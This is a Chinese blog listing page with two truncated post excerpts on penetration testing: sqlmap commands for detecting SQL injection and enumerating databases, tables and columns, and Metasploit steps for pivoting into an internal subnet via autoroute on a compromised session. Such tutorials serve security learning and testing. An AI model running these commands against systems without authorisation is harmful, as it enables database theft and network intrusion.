摘要: 查询是否存在注入 sqlmap.py -u url 检测多个url sqlmap -m target.txt 查询当前用户下的所有数据库 sqlmap.py -u url --dbs dkeye数据库中的列表名 -D dkeye --tables 查询字段名 -D dkeye -T user --c 阅读全文
posted @ 2021-03-13 17:45 妖涟 阅读(33) 评论(0) 推荐(0)
摘要: 内网代理 建立在已经成功获取一个session3的情况下 1、配置路由 #配置静态路由让这个session3来转发访问192.168.52.0/24这个网段的所有流量 msf > run autoroute -s 192.168.52.0/24 2、使用background命令将该shell放在后台 阅读全文
posted @ 2021-03-13 17:17 妖涟 阅读(2240) 评论(0) 推荐(1)